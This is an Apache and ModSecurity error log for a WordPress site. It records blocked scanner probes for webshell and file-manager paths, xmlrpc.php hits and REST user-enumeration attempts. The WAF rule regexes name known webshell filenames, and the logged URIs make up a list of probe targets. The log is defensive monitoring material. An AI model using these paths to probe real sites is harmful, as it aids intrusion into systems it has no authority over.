[Fri Dec 26 00:25:35.029151 2025] [:error] [pid 24864:tid 24938] [client 4.194.112.239:33596] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/admin.php"] [unique_id "aU1lf8u59XOK5DpQQdB6zAAAAVI"], referer: https://www.google.co.uk/
[Fri Dec 26 00:25:35.214116 2025] [:error] [pid 24864:tid 24923] [client 4.194.112.239:51157] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aU1lf8u59XOK5DpQQdB6zgAAAUM"], referer: https://www.google.fr/
[Fri Dec 26 00:25:35.394896 2025] [autoindex:error] [pid 24946:tid 24966] [client 4.194.112.239:53194] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Fri Dec 26 00:25:35.482415 2025] [:error] [pid 24946:tid 24950] [client 4.194.112.239:53194] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aU1lf1fyLYxv3Jn9S70iVwAAAEI"], referer: https://www.google.com/
[Fri Dec 26 00:25:35.659820 2025] [:error] [pid 24946:tid 24971] [client 4.194.112.239:27640] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aU1lf1fyLYxv3Jn9S70iWAAAAFc"], referer: https://duckduckgo.com/
[Fri Dec 26 00:25:35.843209 2025] [autoindex:error] [pid 24863:tid 24900] [client 4.194.112.239:28054] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Fri Dec 26 00:25:35.935730 2025] [autoindex:error] [pid 24863:tid 24893] [client 4.194.112.239:28054] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Fri Dec 26 00:25:36.025972 2025] [:error] [pid 24863:tid 24897] [client 4.194.112.239:28054] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/search/index.php"] [unique_id "aU1lgB8SaH2KMpp43vfT-AAAAMQ"], referer: https://www.bing.com/
[Fri Dec 26 00:25:36.215183 2025] [autoindex:error] [pid 24863:tid 24911] [client 4.194.112.239:2626] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Fri Dec 26 00:25:36.304024 2025] [:error] [pid 24863:tid 24904] [client 4.194.112.239:2626] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aU1lgB8SaH2KMpp43vfT_AAAAMs"], referer: https://www.google.co.uk/
[Fri Dec 26 00:48:32.181321 2025] [:error] [pid 24864:tid 24940] [client 104.215.24.188:34110] [client 104.215.24.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aU1q4Mu59XOK5DpQQdCFeAAAAVQ"]
[Fri Dec 26 00:48:32.928300 2025] [:error] [pid 24946:tid 24957] [client 104.215.24.188:34071] [client 104.215.24.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aU1q4FfyLYxv3Jn9S70u_AAAAEk"]
[Fri Dec 26 00:48:34.178131 2025] [:error] [pid 24863:tid 24905] [client 104.215.24.188:34108] [client 104.215.24.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aU1q4h8SaH2KMpp43vfcrQAAAMw"]
[Fri Dec 26 00:48:34.880621 2025] [:error] [pid 24864:tid 24942] [client 104.215.24.188:34080] [client 104.215.24.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aU1q4su59XOK5DpQQdCFfgAAAVY"]
[Fri Dec 26 01:00:30.027906 2025] [:error] [pid 24864:tid 24939] [client 34.85.206.82:65012] [client 34.85.206.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.206.82, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aU1trsu59XOK5DpQQdCN7AAAAVM"]
[Fri Dec 26 01:00:32.828841 2025] [:error] [pid 24864:tid 24929] [client 34.85.206.82:65012] [client 34.85.206.82] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aU1tsMu59XOK5DpQQdCN-QAAAUk"]
[Fri Dec 26 01:00:35.042891 2025] [:error] [pid 24864:tid 24926] [client 34.85.206.82:65012] [client 34.85.206.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.206.82, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aU1ts8u59XOK5DpQQdCN_wAAAUY"]
[Fri Dec 26 01:07:13.485950 2025] [ssl:error] [pid 24863:tid 24912] [client 15.204.161.7:16192] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Fri Dec 26 01:26:22.153501 2025] [proxy_fcgi:error] [pid 24864:tid 24921] [client 103.4.122.14:54676] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Fri Dec 26 01:57:20.197628 2025] [ssl:error] [pid 24862:tid 24868] [client 15.204.161.7:21386] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
[Fri Dec 26 04:43:38.099194 2025] [ssl:error] [pid 28355:tid 28374] [client 40.160.16.154:10706] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Fri Dec 26 04:45:24.015769 2025] [:error] [pid 28270:tid 28334] [client 35.227.60.117:49716] [client 35.227.60.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.227.60.117, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aU2iZF9Ac79_ckdPN5I3vAAAAIU"]
[Fri Dec 26 04:45:28.235938 2025] [:error] [pid 28270:tid 28331] [client 35.227.60.117:49716] [client 35.227.60.117] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aU2iaF9Ac79_ckdPN5I3zgAAAII"]
[Fri Dec 26 04:45:30.579259 2025] [:error] [pid 28270:tid 28352] [client 35.227.60.117:49716] [client 35.227.60.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.227.60.117, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aU2ial9Ac79_ckdPN5I30gAAAJc"]
[Fri Dec 26 05:14:22.002959 2025] [ssl:error] [pid 28268:tid 28297] [client 40.160.16.154:6754] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
[Fri Dec 26 06:00:31.788472 2025] [:error] [pid 28355:tid 28367] [client 43.130.100.35:47062] [client 43.130.100.35] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aU2z_7sFqKXf7ADZcTYWnAAAAMo"]
[Fri Dec 26 11:43:31.112076 2025] [:error] [pid 15063:tid 15067] [client 17.246.19.144:45192] [client 17.246.19.144] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "192.178.8.100_ba222591f25674c45fae469fb01980afb9599ff5"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-includes/js/wp-util.min.js"] [unique_id "aU4EYODsf_aL46Jy7z9bCgAAAQI"], referer: https://vetstars.com.au/
[Fri Dec 26 14:33:43.342216 2025] [:error] [pid 34865:tid 34888] [client 203.159.81.35:54653] [client 203.159.81.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aU4sR6i4zjVVKBdvuTR6bgAAAVU"]
[Fri Dec 26 14:33:54.982997 2025] [autoindex:error] [pid 15063:tid 15065] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:55.507261 2025] [autoindex:error] [pid 15063:tid 15084] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:55.971172 2025] [autoindex:error] [pid 15063:tid 15069] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:56.499759 2025] [autoindex:error] [pid 15063:tid 15072] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:59.278529 2025] [autoindex:error] [pid 15063:tid 15081] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:00.314956 2025] [autoindex:error] [pid 15063:tid 15082] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:01.265441 2025] [autoindex:error] [pid 15063:tid 15077] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:01.776274 2025] [autoindex:error] [pid 15063:tid 15068] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:02.238458 2025] [autoindex:error] [pid 15063:tid 15089] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:03.257560 2025] [autoindex:error] [pid 15063:tid 15075] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:06.807316 2025] [autoindex:error] [pid 15063:tid 15080] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:12.670569 2025] [autoindex:error] [pid 15063:tid 15085] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:13.705848 2025] [autoindex:error] [pid 15063:tid 15070] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:14.204018 2025] [autoindex:error] [pid 15063:tid 15065] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:19.206331 2025] [autoindex:error] [pid 15063:tid 15068] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:21.889314 2025] [autoindex:error] [pid 15063:tid 15076] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:26.640966 2025] [autoindex:error] [pid 15063:tid 15065] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:27.205105 2025] [autoindex:error] [pid 15063:tid 15080] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:27.679794 2025] [autoindex:error] [pid 15063:tid 15087] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:52.658439 2025] [autoindex:error] [pid 15063:tid 15070] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:56.744053 2025] [autoindex:error] [pid 15063:tid 15072] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:57.214878 2025] [autoindex:error] [pid 15063:tid 15082] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:58.757039 2025] [autoindex:error] [pid 15063:tid 15073] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:59.273237 2025] [autoindex:error] [pid 15063:tid 15081] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:59.790487 2025] [autoindex:error] [pid 15063:tid 15073] [client 203.159.81.45:22303] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 19:22:56.225720 2025] [:error] [pid 34865:tid 34880] [client 34.83.5.103:58269] [client 34.83.5.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.5.103, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aU5wEKi4zjVVKBdvuTTbJAAAAU0"]
[Fri Dec 26 19:22:58.949027 2025] [:error] [pid 34865:tid 34886] [client 34.83.5.103:58269] [client 34.83.5.103] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aU5wEqi4zjVVKBdvuTTbKAAAAVM"]
[Fri Dec 26 19:23:01.958902 2025] [:error] [pid 34865:tid 34889] [client 34.83.5.103:58269] [client 34.83.5.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.5.103, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aU5wFai4zjVVKBdvuTTbLQAAAVY"]
